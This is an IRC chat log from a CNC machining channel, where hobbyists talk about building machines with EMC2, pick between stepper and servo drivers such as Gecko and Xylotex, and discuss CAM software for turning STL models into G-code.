[22:08:24] <Jacky^> :)
[22:08:31] <jepler> TorbaX: any clues yet?
[22:08:50] <les_w> she can keep the camera in the glove box of her ferrari
[22:08:54] <TorbaX> the problem appears at the initial phase to drill and the finish of the wood piece
[22:09:07] <Jacky^> haha
[22:09:35] <bill-xm> TorbaX, you're using that for wood engraving?
[22:09:42] <jepler> les_w: the digital SLRs are a lot more affordable than they were 4 or 5 years ago, but that's not saying a whole lot.
[22:09:50] <TorbaX> bill-xm: eucaliptus!!!!
[22:10:06] <bill-xm> what?
[22:10:09] <Jacky^> she's at the first experiencewith digital cameras, I think D50 should be pretty ok ;)
[22:10:17] <les_w> yeah
[22:10:34] <TorbaX> i have a block of eucaliptus's wood
[22:10:48] <bill-xm> what sort of things are you making with it?
[22:11:17] <les_w> I have drilled a few holes in wood. About 80,000.
[22:11:28] <jepler> TorbaX: do you see the same problem if you run 3D_Chips.ngc but don't put any wood on the table? Have you tried decreasing accel and velocity on the Z axis?
[22:11:29] <TorbaX> bill-xm: I tried to make a penguin (axis's example)
[22:12:02] <jepler> 3D_Chips has been around a lot longer than AXIS, we just use it in some of our screenshots.
[22:12:16] <TorbaX> jepler: i tried to use slow(40) and accel(120) and the problem is the same
[22:12:25] <Jacky^> TorbaX: seasoned wood ? :P
[22:12:52] <bill-xm> Torbax, how did it come out?
[22:13:00] <Jacky^> "stagionato" ?
[22:14:06] <les_w> drilling with a high speed router can be a problem....
[22:14:22] <Jacky^> * Jacky^ know ..
[22:14:25] <Jacky^> :/
[22:14:28] <les_w> the cut is unstable
[22:14:53] <Jacky^> I had issues burning bits too
[22:14:58] <TorbaX> oh yes
[22:15:03] <TorbaX> thakns Jacky
[22:15:12] <les_w> need to slow down to about 10,000 rpm max
[22:15:12] <TorbaX> it's seasoned!!!
[22:15:50] <NickServ> This nickname is owned by someone else
[22:15:50] <NickServ> If this is your nickname, type /msg NickServ IDENTIFY <password>
[22:16:24] <Jacky^> "mogano" should be a nice wood too
[22:16:35] <Jacky^> les_w: can you confirm ? :)
[22:16:36] <TorbaX> I used a 3.0mm bit(I havent got any good router bit, sorry)
[22:17:10] <les_w> drill bit in a router usually is bad....
[22:17:17] <les_w> was it a wood router?
[22:18:05] <TorbaX> les_w: ...no, at the moment I tested it with a generic HSS drill
[22:18:21] <les_w> but router motor?
[22:19:33] <TorbaX> In my hardware shop I have few for wood or cobalt HSS bit
[22:20:05] <les_w> I drill a lot of holes at about 1 meter/min with a 6 mm carbide spiral upcut
[22:20:13] <TorbaX> but I havent bit like Dremel....
[22:21:00] <TorbaX> they are more expensive
[22:21:07] <les_w> yes
[22:21:13] <les_w> very expensive
[22:21:16] <TorbaX> but they are necessary :(
[22:21:22] <Jacky^> TorbaX: got some pictures of your machine ?
[22:21:25] <Jacky^> onlne ?
[22:21:30] <les_w> yes, for production
[22:21:31] <TorbaX> oh yes
[22:21:43] <Jacky^> frappr ?
[22:21:46] <TorbaX> my hobbistic machine...
[22:21:50] <k4ts> hello
[22:21:56] <TorbaX> more photos are here:
[22:22:07] <les_w> hi k4ts....like your new camera?
[22:22:36] <TorbaX> http://www.digitalraptor.net/index.php?ind=gallery&op=section_view&idev=5
[22:22:40] <TorbaX> my site
[22:22:50] <les_w> hobbistic....I like that word!!
[22:22:54] <k4ts> I will buy it tomorrow
[22:24:06] <Jacky^> TorbaX: congrats, looks neat :P
[22:24:36] <Jacky^> I also build a cheap machine
[22:24:52] <TorbaX> thanks Jacky^ twice months...
[22:24:55] <Jacky^> do you use Emc or Emc2 ?
[22:24:55] <les_w> yes neat. You like to take pictures torbax
[22:25:14] <les_w> oh jacky will build an expensive machine...
[22:25:15] <TorbaX> emc2 into BDI4.38
[22:25:15] <les_w> haha
[22:25:24] <Jacky^> :-))
[22:25:29] <Jacky^> good
[22:25:41] <les_w> k4ts will take the pictures.
[22:25:44] <TorbaX> les_w: my machine is very cheap
[22:26:01] <bill-xm> that's pretty cool that you made it all from scratch
[22:26:22] <k4ts> yes
[22:26:31] <TorbaX> les_w: obviously the quality is lower than axis's guided CNCs
[22:26:51] <les_w> I like to see people that can make things happen without spending a lot
[22:26:57] <bill-xm> what're you using to drive the motors?
[22:27:13] <TorbaX> I spent more or less 250,00EUR
[22:27:35] <Jacky^> TorbaX: Im too
[22:27:56] <Jacky^> I used aluminium, but its not so strong ..
[22:27:58] <TorbaX> bill-xm: I'm using a Stepper controller selled by a online italian shop
[22:28:16] <Jacky^> aniway I got some nice jobs
[22:28:21] <bill-xm> I'm thinking about doing a micromill cnc conversion, but I'm still researching what's involved.
[22:28:36] <TorbaX> Jacky^: Aluminium....I dream aluminium for my machine evry night...:P
[22:28:57] <Jacky^> TorbaX: are the drivers from N.E. ?
[22:29:08] <Jacky^> Nuova Elettronica
[22:29:11] <TorbaX> yes Jacky^ : Kit LX1420
[22:29:18] <Jacky^> same the mine
[22:29:33] <TorbaX> I bought only PCB's
[22:29:46] <Jacky^> I bought 4 kits
[22:29:59] <les_w> ah...solderers
[22:30:06] <Jacky^> but I burned about 10 L297-8 .. :(���
[22:30:09] <bill-xm> are these steps basicially right? "cad(makes DXF) -> cam(creates Gcode) -> pc running emc -> motor controller -> stepper motor" ?
[22:30:21] <bill-xm> or is there more that I'm missing?
[22:30:31] <les_w> it's about right
[22:30:46] <les_w> although commercial users like me do not use steppers.
[22:30:55] <bill-xm> so its 'cam' and 'motor controller' that I'm still unclear on.
[22:30:58] <bill-xm> you use servo motors?
[22:31:04] <les_w> yes.
[22:31:22] <bill-xm> are the differences important for me to know about?
[22:31:27] <les_w> cam creates gcode frome graphics.
[22:31:40] <les_w> a machine control runs the g code
[22:31:40] <bill-xm> from graphics? not from dxf's?
[22:31:50] <les_w> . servo and stepper bill?
[22:31:56] <bill-xm> yes, servo vs. stepper
[22:32:00] <les_w> ok
[22:32:10] <TorbaX> Jacky^: I recovered the components by old printers (Bull/Compuprint)
[22:32:27] <bill-xm> I know what steppers are and I know what servos are, at least the kind that go in RC models.
[22:32:42] <bill-xm> but I dont know why one is better than the other for cnc applications
[22:33:10] <les_w> servo I dramatically higher performance. Industrial users like myself must use it. Stepper is much less costly and simpler to deal with. Most hobbyists like it best.
[22:33:11] <Jacky^> TorbaX: I bought 14 IC's L298 stock for E.25
[22:33:12] <TorbaX> I discovered into good steppers(Astrosyn 200step/rot)
[22:33:22] <TorbaX> azz
[22:33:31] <Jacky^> I had an issue using a metallic case ..
[22:33:51] <Jacky^> I was burning 2-3 IC for a ground issue every day :/
[22:34:17] <Jacky^> I was using a PC desktop case
[22:34:22] <TorbaX> more people say that those chips are bastard
[22:34:30] <les_w> and..bll...most cam programs have their own graphics and drawing functions...don't need a dxf.
[22:34:32] <bill-xm> when you say "higher performance" do you mean that they move faster?
[22:34:44] <les_w> but most will import dxf if you want
[22:34:57] <Jacky^> TorbaX: ground connections are dangerous ..
[22:34:58] <TorbaX> L298 can supply max 2.0A to the motor
[22:34:59] <bill-xm> do they use color levels for tool height?
[22:35:02] <TorbaX> but it's critical
[22:35:05] <Jacky^> I wasnt know :(
[22:35:11] <les_w> bill: yes high speeds, high accel, high force
[22:35:25] <bill-xm> gotcha, that makes sense.
[22:35:31] <bill-xm> so I can model it in whatever.
[22:35:40] <les_w> right
[22:35:40] <bill-xm> I just found this: http://www.xylotex.com/4AxSysKit.htm
[22:35:56] <bill-xm> that looks like a good starting place for the micro-mill
[22:35:59] <TorbaX> (:P I checked all connections to isolate ground-earth and ground-signal
[22:36:05] <Jacky^> TorbaX: how much fast your cnc go ?
[22:36:21] <les_w> xylotex and gecko are very popular with hobbyists
[22:36:31] <Jacky^> the mine about 27 inch/min
[22:36:33] <TorbaX> Jacky^: with windows I see my cnc go slowly
[22:36:48] <bill-xm> is one better than the other, or they're both good?
[22:36:49] <TorbaX> with emc/emc2 it's go very fast
[22:37:04] <TorbaX> I'm surprise of this
[22:37:04] <Jacky^> I had an issue using mm as unit too
[22:37:13] <Jacky^> bat it was an old emc bug
[22:37:16] <Jacky^> but*
[22:37:20] <TorbaX> more or less 15mm/sec
[22:37:30] <Jacky^> slow .. :(
[22:37:35] <TorbaX> all direction
[22:38:08] <TorbaX> I used M8 iron bar
[22:38:13] <SWPadnos> bill-xm, the servo vs stepper question is pretty much application dependent
[22:38:17] <TorbaX> !!!
[22:38:44] <SWPadnos> the rule of thumb (from Mariss Freimanis, the owner of Geckodrive), is that if your needed power is under 200W, a stepper is best
[22:38:50] <SWPadnos> over 300W, a servo is best
[22:38:59] <SWPadnos> and between 200 and 300W, it depends
[22:39:21] <TorbaX> If i'd used M10 or M12steel(trapezoidal) bar I suppose an increment of the speed
[22:39:25] <bill-xm> sounds like steppers are fine for a micro-mill, it's tiny, after all.
[22:39:26] <les_w> sounds reasonable to me
[22:39:47] <SWPadnos> as for drives, the Geckos have higher voltage and current specs, and I think are better designed
[22:40:11] <SWPadnos> the Xylotex are OK, but have no mid-band resonance compensation, which the Geckos have
[22:40:23] <SWPadnos> (I think - you'd have to ask Jymmm about that)
[22:40:29] <bill-xm> les, have you got an image you've used to make gcode out of? (that I can see)
[22:40:46] <les_w> i'll check bill
[22:41:00] <les_w> the cam programs?
[22:41:09] <SWPadnos> there are programs to convert HPGL (HP plotter language), dxf, jpeg (or any other image), STL, and various CAD formats to G-Code
[22:41:14] <bill-xm> yeah, the image you'd feed to whatever CAM software you use.
[22:41:17] <Jymmm> ?
[22:41:41] <TorbaX> today I test camexpress-demo
[22:41:42] <Jymmm> SWPadnos you rang?
[22:41:42] <SWPadnos> Jymmm, was that correct - the Xylotex has no mid-band resonance compensation?
[22:41:42] <les_w> well sometimes it is autocad. lines and polylines.
[22:41:49] <TorbaX> a module for Qcad
[22:42:03] <Jymmm> SWPadnos: Correct.
[22:42:13] <les_w> sometimes it is drawn in the cam system. I use millwrite 2000 a lot.
[22:42:19] <SWPadnos> ok - just making sure - I'm a servo guy, after all
[22:42:40] <TorbaX> it develops from dxf files the Gcode and their standards
[22:42:48] <TorbaX> with more options
[22:42:55] <TorbaX> :)
[22:43:16] <bill-xm> are there software considerations for what stepper controller I use, or is thier a standard interface/protocol that both xylotex and gecko uses?
[22:43:35] <SWPadnos> they're both step and direction drives
[22:43:40] <TorbaX> it's a demo which works for ten minutes but it's possible to save the work
[22:43:48] <les_w> well, step and direction!
[22:44:02] <SWPadnos> the only issues are whether the pins are correct from your controller (reconfigurable in emc2)
[22:44:11] <SWPadnos> and whether or not you need an exable signal
[22:44:14] <SWPadnos> enable
[22:44:15] <TorbaX> now I try to check the generated gcode with axis..!!!
[22:45:40] <bill-xm> swpadnos, so emc2 supports both equally well?
[22:45:47] <SWPadnos> yes
[22:45:54] <SWPadnos> the I/O in emc2 is totally reconfigurable
[22:46:05] <SWPadnos> the only software issue is maximum pulse rate
[22:46:06] <bill-xm> ok.
[22:46:20] <bill-xm> and that's dependant on having enough cpu?
[22:46:26] <SWPadnos> the geckos are 10-microstep drives, and the Xylotex is 1/4, I think (Jymmm?)
[22:46:31] <bill-xm> ie: if your pc is slow, your mill will be slow too?
[22:46:31] <Jymmm> 8
[22:46:43] <Jymmm> full, half, 8th
[22:46:46] <SWPadnos> partly, but faster CPUs aren't linearly better at generating high speed pulses
[22:46:48] <SWPadnos> ok - thanks
[22:46:53] <bill-xm> ahh.
[22:47:23] <Jymmm> Love my new lil flashlight I got yesterday ---> http://www.flashlightsunlimited.com/inovax1.htm
[22:47:42] <bill-xm> looks like all the gecko drivers are single-stepper drivers, is that right?
[22:48:02] <Jymmm> bill-xm one motor == one gecko
[22:48:06] <les_w> nice jymmm
[22:48:13] <bill-xm> cool light Jymmm
[22:48:21] <Jymmm> les_w take a SINGLE AA battery, runs 10 hours
[22:48:39] <bill-xm> so from a cost perspective the Xylotex is going to be a *lot* cheaper.
[22:48:53] <bill-xm> Jymmm, is that a 5w luxeon light?
[22:48:56] <Jymmm> bill-xm what are you putting this on?
[22:49:02] <les_w> I know. I designed the first high brightness led annunciator for the boeng 777!
[22:49:06] <bill-xm> Jymmm, a HF micro-mill
[22:49:08] <Jymmm> bill-xm no, not that bright
[22:49:07] <bill-xm> tiny tiny mill
[22:49:11] <les_w> made lots of flashlights too
[22:49:11] <TorbaX> Jacky^: I'm waiting a "comparatore" to set correct orientation, I found a onlne shop which sell it at honest price
[22:49:50] <Jymmm> bill-xm I have a 24"x24"x5" gantry router. If I knew what I know now, I would have bought geckos instead.
[22:50:04] <bill-xm> I have one of the Arc AAA led lights, a bit smaller than yours.
[22:50:08] <bill-xm> too bad they folded
[22:50:36] <Jacky^> TorbaX: nice ;)
[22:50:39] <SWPadnos> 101%, eh Jymmm :)
[22:50:56] <Jymmm> SWPadnos fsck you and the leadscrew you rod in on!
[22:51:00] <Jymmm> rode
[22:51:05] <Jymmm> =)
[22:51:06] <SWPadnos> close enough ;)
[22:51:28] <TorbaX> Jacky^: 18,00EUR
[22:51:36] <TorbaX> +vat
[22:51:38] <les_w> Well, I still am in converstion with someone who wants to make 10-20,000 dollar low end routers.
[22:51:47] <SWPadnos> I can do that
[22:51:47] <Jymmm> bill-xm ....but my intensions are not NOT just hobby either.
[22:51:55] <les_w> We have to lower the cost of servo controls.
[22:51:57] <les_w> a lot.
[22:52:00] <Jymmm> les_w yeah, which country are they in?
[22:52:06] <bill-xm> yeah, I'm just a hobbiest.
[22:52:08] <les_w> us
[22:52:09] <Jymmm> or continent
[22:52:15] <Jymmm> les oh, good luck then =)
[22:52:17] <bill-xm> what controls the spindle speed?
[22:52:35] <les_w> emc can control spindle speed if you wish
[22:52:44] <TorbaX> Jacky^: is a good price?
[22:52:45] <bill-xm> via what hardware interface?
[22:52:56] <SWPadnos> analog, step/dir, whatever hardware you have
[22:53:16] <SWPadnos> in emc2, it's very configurable
[22:53:31] <bill-xm> does the spindle speed generally stay the same thru a whole job?
[22:53:44] <bill-xm> ie: can you just turn it on manually?
[22:53:45] <Jacky^> TorbaX: sure, it seems to me a nice price
[22:53:48] <SWPadnos> probably not, unless the tool stays the same
[22:54:07] <SWPadnos> it's possible, but you (as the CAM engineer) would decide that
[22:54:09] <Jacky^> TorbaX: a least, for what I know :)
[22:54:15] <bill-xm> well, I guess my real quesiton is, can I do without having aotomatic control of the spindle speed?
[22:54:26] <SWPadnos> yes (I sure hope so anyway ;) )
[22:54:31] <bill-xm> if I'm there changing tools by hand, can I set the spindle speed by hand too?
[22:54:36] <SWPadnos> it's better if you can control it, but not necessary
[22:54:41] <SWPadnos> sure
[22:54:48] <TorbaX> Jacky^: at this site: http://www.airoldi-belgeri.it/offerte.htm "Offer 8"
[22:54:50] <bill-xm> I know these questions are totally basic and I sound like an idiot, thanks for your patience.
[22:54:59] <bill-xm> I'm a machining newbie.
[22:55:03] <SWPadnos> no problem. I deal with idiots all day :)
[22:55:13] <bill-xm> yeah, but they pay you. :-)
[22:55:19] <SWPadnos> (kidding - at least you know the questions)
[22:55:27] <SWPadnos> maybe I'm the idiot - I don't always get paid
[22:55:29] <bill-xm> I'm not actually an idiot in general, I'm just uninformed on this subject..
[22:55:29] <les_w> you will want to use a stepper system I think bill
[22:55:32] <Jacky^> TorbaX: cool ;P
[22:55:48] <bill-xm> that's what it's sounding like les, especially since cost is a big concern.
[22:56:00] <bill-xm> ie: if I drop $2k on motors, my wife will kill me.
[22:56:17] <SWPadnos> yo umay be able to find appropriately sized servos on eBay for low $
[22:56:36] <SWPadnos> a sherline can't need more than a 100W motor or so - if you want to try that route
[22:56:36] <les_w> well, my machine cost $20k for just the parts.
[22:56:41] <Jacky^> Id like to try AC motors
[22:56:45] <les_w> different ball game.
[22:56:56] <TorbaX> Jacky^: on ebay these comparators are selled at high price, incredible..!!!
[22:57:44] <bill-xm> yeah, you're using "real" machine, I'm using a "toy". :-)
[22:57:58] <SWPadnos> AC is totally different - there are no inexpensive drivers for them (Rutex makes a driver, but I don't think it's inexpensive)
[22:58:03] <Jacky^> TorbaX: yeah .. there are lots of vulture around :(
[22:58:23] <les_w> swp my identify password is not working....
[22:58:23] <bill-xm> servo motors can feed back thier position?
[22:58:27] <les_w> can't pm
[22:58:38] <SWPadnos> they have to have encoders
[22:58:41] <bill-xm> ahh.
[22:58:44] <SWPadnos> or some type of feedback
[22:58:59] <SWPadnos> les - are you registered with nickserv?
[22:59:16] <Jacky^> SWPadnos: I know someone here around bought AC motors at low prices, but I dont know about any progress using AC drivers
[22:59:32] <les_w> We are trying to make sevos very very inexpensive. We're not there yet.
[22:59:33] <SWPadnos> they're hard, every motor has different feedback
[22:59:46] <bill-xm> looks like ebay is full of motors.
[22:59:51] <les_w> a typical large machine servo costs about $1000
[22:59:59] <SWPadnos> you can't even mix and match drivers from the same company all the time
[23:00:11] <TorbaX> Does anybody have an idea to build a power section of stepper driver like L298 or L6302?
[23:00:44] <SWPadnos> heh - I have enough of an idea that I bought Geckos ;)
[23:00:54] <SWPadnos> and I'm an electrical engineer
[23:00:56] <les_w> haha
[23:01:04] <Jacky^> I bought Geckos too
[23:01:23] <Jacky^> I havent try them yet !
[23:01:29] <TorbaX> I saw various circuits but all are using 8 MOS/BJT to connect bipolar stepper(4 wires)
[23:01:35] <bill-xm> are they really that much better than xylotex it's worth spending like 4 times as much?
[23:01:42] <SWPadnos> me either. I should be in the garage making motor mounts instead of talking to you lot :)
[23:02:03] <les_w> for hobbyists geckos are hard to beat. Mariss and I have freindly arguments on the phone, but that is for low ernd light industrial stuff.
[23:02:04] <TorbaX> Does it is possible, I think, to use 4 MOSfet?
[23:02:21] <Jacky^> SWPadnos: http://digilander.libero.it/jackydgl0/photos/lab/img004.jpeg.html
[23:02:22] <TorbaX> for a bipolar 4 wires stepper motor=
[23:02:27] <SWPadnos> well. Jymmm is a cheapskate, and he said he'd have bought Geckos if he knew the differences
[23:02:35] <SWPadnos> back then, that is
[23:02:37] <bill-xm> ahh.
[23:02:44] <Jacky^> found no compatible encoder in my "magic box" ..
[23:02:46] <Jacky^> hehe
[23:02:56] <les_w> I think 4 mosfet can do unipolar if you wish
[23:02:57] <SWPadnos> I mean - he had a fixed, low budget for his machine
[23:03:24] <SWPadnos> I can make a unipolar driver with an AVR (or logic) and a few MOSFETS
[23:03:28] <SWPadnos> in fact, I have one
[23:03:35] <bill-xm> I'd like to do the conversion for under $1000, is that a reasonable goal?
[23:03:48] <les_w> convert what?
[23:03:56] <SWPadnos> Jacky^, http://www.usdigital.com/
[23:03:57] <bill-xm> a micro-mill
[23:04:00] <bill-xm> tiny one.
[23:04:05] <les_w> ok
[23:04:07] <SWPadnos> harbor freight tiny mill
[23:04:18] <bill-xm> yes, that onme.
[23:04:20] <bill-xm> that one.
[23:04:22] <SWPadnos> weighs a little less than a Troyke rotary table
[23:04:24] <les_w> yeah, ball park for a stepper system.
[23:04:25] <SWPadnos> :)
[23:04:32] <bill-xm> yeah, I can carry it myself.
[23:04:41] <TorbaX> Jacky^: i saw your lab!!! Is your mill machine are made on Epson Stilus 460 hardware???
[23:04:57] <les_w> full servo is two or three times as much.
[23:05:06] <Jacky^> haha.. its just an experiment :P
[23:05:14] <bill-xm> cool.
[23:05:30] <bill-xm> I feel like I've at least got a general overview of whats involved now.
[23:05:54] <les_w> great
[23:06:01] <TorbaX> Jacky^: I see the metal case which ministepper was blocked into
[23:06:06] <Jacky^> TorbaX: but yes, I got the epson drivers working
[23:06:32] <Jacky^> TorbaX: are you looking at geckos drivers ?
[23:07:41] <Jacky^> theyre 3 printers ..
[23:08:18] <les_w> I got my registration for IWS 2006 today. I must prepare to watch jaw dropping 2000 in/min 25 hp spindle machines.
[23:09:13] <Jacky^> les_w: nice
[23:09:18] <TorbaX> Jacky^: where are there?
[23:09:20] <SWPadnos> ooooooh - when / where is that?
[23:09:34] <les_w> atlanta...in june
[23:09:42] <bill-xm> are there any controllers worth considering besides gecko and xylotex?
[23:09:53] <SWPadnos> those aren't controllers, they're drivers
[23:10:15] <bill-xm> err, yeah, that.
[23:10:16] <SWPadnos> there is Rutex, and there are home-build kits
[23:10:24] <SWPadnos> there are probably others as well
[23:10:43] <bill-xm> they dont do any processing right, just driving the motor?
[23:10:59] <SWPadnos> one thing to consider - the Geckos aren't too expensive (though it would be 1/3 of your budget), but you can use them on anything up to a Bridgeport-sized machine
[23:11:01] <SWPadnos> right
[23:11:14] <Jacky^> TorbaX: oh.. I was talking to you in query, but it seems youre not identified to the server
[23:11:17] <Jacky^> ?
[23:11:20] <SWPadnos> the Rutexes use a PIC microcontroller on the board, so I'd be suspicious of them
[23:11:35] <Jacky^> you cannot open query ..
[23:11:39] <TorbaX> les_w: yes if the motor has 4 wires and it has an unipolar logic, yes it requires 4 mos
[23:11:50] <SWPadnos> 4 wire can't be unipolar
[23:12:04] <SWPadnos> that requires either 3 or 5 wires
[23:12:15] <Jacky^> yeah
[23:12:23] <SWPadnos> (common, plus either 2 or 4 coils - probably 4)
[23:12:44] <bill-xm> I think maybe I should do something simple like an etch-a-sketch or a small plotter first, just to learn about the different components.
[23:12:45] <SWPadnos> actually, you could have 4 wires, but only for a 3-coil unipolar motor (and I'm not sure those exist)
[23:12:50] <les_w> 6 wire for unipolar bill
[23:12:55] <TorbaX> SWPadnos: I supposed 4 impossible wires.....for unipolar!!!
[23:12:56] <bill-xm> with cheap motors from old printers or something.
[23:13:35] <SWPadnos> http://axis.unpy.net/etchcnc
[23:13:44] <les_w> I use stepper motors for things...just not machine tools...;)
[23:14:01] <les_w> but for a hobby I think they are best
[23:14:12] <bill-xm> yeah.
[23:14:32] <Jymmm> les_w: Do we really have to hear about your stepper + sex toys AGAIN ?!?!?! =)
[23:14:39] <les_w> hahaha
[23:14:52] <TorbaX> bill-xm: I opened three compuprint/Bull printers, they have good steppers
[23:14:54] <SWPadnos> yeah - no mid-band resonance damping there :)
[23:15:06] <k4ts> ?
[23:15:08] <Jymmm> so do copy machines
[23:15:14] <k4ts> 0_0
[23:15:22] <les_w> haha
[23:15:33] <k4ts> kikked
[23:15:36] <Jymmm> and ppl have broken copy machines they dont know what to do with
[23:15:37] <k4ts> ih ih
[23:15:59] <Jacky^> k4ts: losted the topic ..
[23:16:02] <Jymmm> les_w: Hey, I think you might have a potential customer (points to k4ts)
[23:16:02] <Jacky^> :)
[23:16:10] <les_w> mid band nasties are greatly helped by microstepping, or an inertial damper on the shaft
[23:16:53] <les_w> or both
[23:17:33] <Jymmm> les_w not enough sometimes.
[23:17:41] <bill-xm> les, did you find a cam-image?
[23:17:42] <les_w> yeah I know
[23:18:03] <les_w> let me look
[23:18:46] <SWPadnos> if you want a large G-code progra, and the STL file it was generated from, I can point one out to you
[23:18:49] <SWPadnos> program
[23:19:10] <bill-xm> I think thats what I want
[23:19:12] <les_w> I use this a lot. However I know the author.
[23:19:15] <les_w> http://members.aol.com/m9685123/M1.htm
[23:19:23] <les_w> it's $800
[23:20:05] <les_w> all the turkey call production stuff was done with this.
[23:20:08] <bill-xm> STL is the format of the source file of the model that you use as input for your cam?
[23:20:22] <bill-xm> (nice run-on sentance)
[23:20:49] <SWPadnos> yes - STL is the output from my CAD package, and I use stlworks (from imservice) to convert to G-Code
[23:21:06] <les_w> millwrite has it's own cad
[23:21:14] <SWPadnos> let me zip up the STL file, and I'll give you a link
[23:21:16] <les_w> but can import stl I think
[23:21:37] <bill-xm> that'd be great.
[23:21:55] <bill-xm> is stl an image format, or a model format?
[23:22:10] <les_w> there are many other programs from about $300 to $12,000+
[23:22:20] <les_w> model
[23:22:22] <SWPadnos> StereoLtihography format
[23:22:31] <SWPadnos> it's meant for rapid prototyping shops
[23:22:53] <les_w> usually low end stl ends up being rhino I think
[23:22:57] <SWPadnos> has only geometry, no "CAD" data (ie, it's a 3-d "Drawing" of a CAD model)
[23:23:06] <k4ts> night
[23:23:12] <k4ts> night les_w
[23:23:14] <les_w> nite anna
[23:23:25] <SWPadnos> bill-xm, go to http://www.cncgear.com/Files/
[23:23:36] <SWPadnos> and download the two bracket.* files
[23:23:49] <SWPadnos> hopefully you can uncompress bz2 files
[23:23:59] <Jacky^> * Jacky^ goes to bed too
[23:24:03] <fenn> so, swp, what are you planning on doing with cncgear.com?
[23:24:04] <Jacky^> Night all
[23:24:06] <les_w> nite jacky
[23:24:13] <SWPadnos> selling cnc-related electronics
[23:24:23] <SWPadnos> maybe motor mount kits and the like as well
[23:24:28] <fenn> self-designed?
[23:24:31] <SWPadnos> yep
[23:24:42] <fenn> cool
[23:24:58] <SWPadnos> though I'd be willing to use it as a marketplace for other designs as well
[23:25:07] <les_w> In general we try to avoid raster type cnc machining of 3-d shapes...it is very slow.
[23:25:15] <les_w> But that is commercial stuff
[23:25:21] <fenn> i just ordered $99.99 worth of random crap from futurlec
[23:25:54] <les_w> I have lots of random crap...should have bought it from me!
[23:26:02] <fenn> stuff is very cheap there, i got a lot of good stuff
[23:26:08] <SWPadnos> I have random crap as well ,but I don't think it's sellable
[23:26:10] <bill-xm> les, what software generated bracket1.stl?
[23:26:17] <SWPadnos> STLWorks
[23:26:18] <fenn> i cant believe microcontrollers sell for $0.60 now
[23:26:52] <bill-xm> * bill-xm googles
[23:26:56] <Jymmm> fenn ?
[23:26:58] <Jymmm> url?
[23:27:02] <SWPadnos> http://www.imsrv.com/
[23:27:20] <SWPadnos> or http://www.stlwork.com/
[23:27:34] <SWPadnos> this is cheap CAM, not necessarily good CAM
[23:28:12] <fenn> jymmm http://futurlec.com/Atmel/ATTiny11pr.shtml
[23:28:13] <bill-xm> so stlworks outputs gcode?
[23:28:26] <les_w> I have to grt some dinner...bbl
[23:28:41] <bill-xm> take care.
[23:28:44] <SWPadnos> $0.54 from digikey
[23:29:07] <fenn> damn guess i'll order from digikey then ;)
[23:29:18] <SWPadnos> heh - cheap and fast shipping too
[23:29:29] <SWPadnos> $0.37 in quantity
[23:29:40] <SWPadnos> sorry - $0.375
[23:29:57] <bill-xm> no deal, that $0.005 is too much.
[23:29:58] <bill-xm> !
[23:30:24] <SWPadnos> yah - and in 1000 quantity - that would be $5.00 too much - way over budget
[23:30:38] <bill-xm> way!
[23:30:50] <bill-xm> * bill-xm looks at modeling software
[23:30:51] <SWPadnos> no - wait, $0.50
[23:31:00] <bill-xm> maybe its time to learn Blender
[23:31:10] <SWPadnos> see yo uin a year
[23:31:12] <SWPadnos> you in
[23:31:20] <fenn> yuck
[23:31:24] <bill-xm> yeah, no kidding.
[23:31:30] <bill-xm> I've tried before, it's hairy.
[23:31:54] <fenn> i wish ayam were more stable, i like the interface
[23:32:04] <fenn> it crashes on me all the time
[23:32:13] <SWPadnos> wait a sec - that Digi-Key prioce is in 100 qquantity O_O
[23:32:17] <SWPadnos> price
[23:32:31] <SWPadnos> quantity
[23:32:47] <bill-xm> fenn, what do you use now?
[23:33:28] <fenn> nothing, havent figured it out yet
[23:33:44] <fenn> evey once in a while i play around with brlcad
[23:34:19] <SWPadnos> once I figured out that the command/menu window was behind the 3D display, it wasn't so bad :)
[23:34:26] <bill-xm> I'd like something on linux, but the choices are pretty slim.
[23:34:28] <SWPadnos> what a PITA that was
[23:35:05] <fenn> varicad looks neat, but it crashed instantly
[23:36:03] <bill-xm> I tried freeCAD a little, it was ok, but didnt feel very solid.
[23:37:18] <SWPadnos> integrated and/or easy to use CAD and CAM software are the biggest impediment to EMC usage, I think
[23:38:11] <bill-xm> yeah SWP, when I started researching that's where I came up blank
[23:38:27] <bill-xm> it pains me to spend more on software than I would on hardware.
[23:38:55] <SWPadnos> it's a PITA, because there are machine controllers that aren't raelly as good as EMC, but they get chosen because they have built-in DXF or BMP translation capabilities
[23:39:01] <SWPadnos> s/raelly/really/
[23:39:28] <SWPadnos> Mach is free for 1000 or 2000 line programs, I think
[23:39:35] <SWPadnos> and it's only $150 anyway (I think)
[23:40:16] <bill-xm> is 1000 lines a lot?
[23:40:27] <SWPadnos> not really. that bracket was 69000 lines, I think
[23:40:37] <bill-xm> ahh.
[23:40:54] <bill-xm> well $150 is reasonable
[23:41:00] <SWPadnos> but hen again, that was a 4x4 inch workpiece, with something like 0.005 stepover, and 3D countouring
[23:41:13] <fenn> fancy bracket
[23:41:14] <SWPadnos> and multiple passes, in different directions
[23:41:18] <SWPadnos> thank you
[23:41:33] <fenn> prolly coulda done it in thirty or forty lines by hand
[23:41:35] <SWPadnos> that's a model I made of the Y axis braring bracket on a Bridgeport
[23:41:45] <SWPadnos> mo, probably not
[23:41:45] <SWPadnos> no
[23:41:47] <bill-xm> do people actually write gcode by hand?
[23:41:55] <SWPadnos> but definitely less than 69000
[23:41:55] <fenn> yeah, if you dont have a cam program :)
[23:41:56] <bill-xm> becaseu I'm all about doing things the hard way.
[23:41:57] <SWPadnos> yes
[23:42:13] <bill-xm> I do html in vi.
[23:42:14] <bill-xm> heh
[23:42:19] <SWPadnos> doing things like drilling a hole pattern can be easy by hand
[23:42:39] <SWPadnos> machining a new titanium mouse shell wouldn't be so easy by hand
[23:43:15] <SWPadnos> hmmmm - titanium mice ...
[23:43:40] <bill-xm> Mmmtitanium
[23:43:41] <fenn> does it have a built in gas-powered heater?
[23:43:52] <bill-xm> like a volkswagen?
[23:43:54] <SWPadnos> palm-powered heater ;)
[23:44:04] <bill-xm> stirling powered mouse.
[23:44:12] <SWPadnos> it would be great for LAN parties, since you always sweat anyway
[23:44:33] <bill-xm> I think I have some reading to do here: http://groups.yahoo.com/group/DIY-CNC/
[23:44:53] <SWPadnos> keep a large container of salt, for all those pinches you'll need
[23:46:44] <bill-xm> gotcha
[23:47:06] <bill-xm> that's probablly all people who know just slightly more than me about cnc
[23:47:09] <bill-xm> (ie: newbs)
[23:47:13] <TorbaX> night people......zzzzzz zZZZZzzz
[23:47:21] <bill-xm> night torbax
[23:47:23] <fenn> hmmm i wonder how many people have ever actually built a hexapod..
[23:47:26] <SWPadnos> there are a lot of people who know their stuff, but you have to figure out who they are
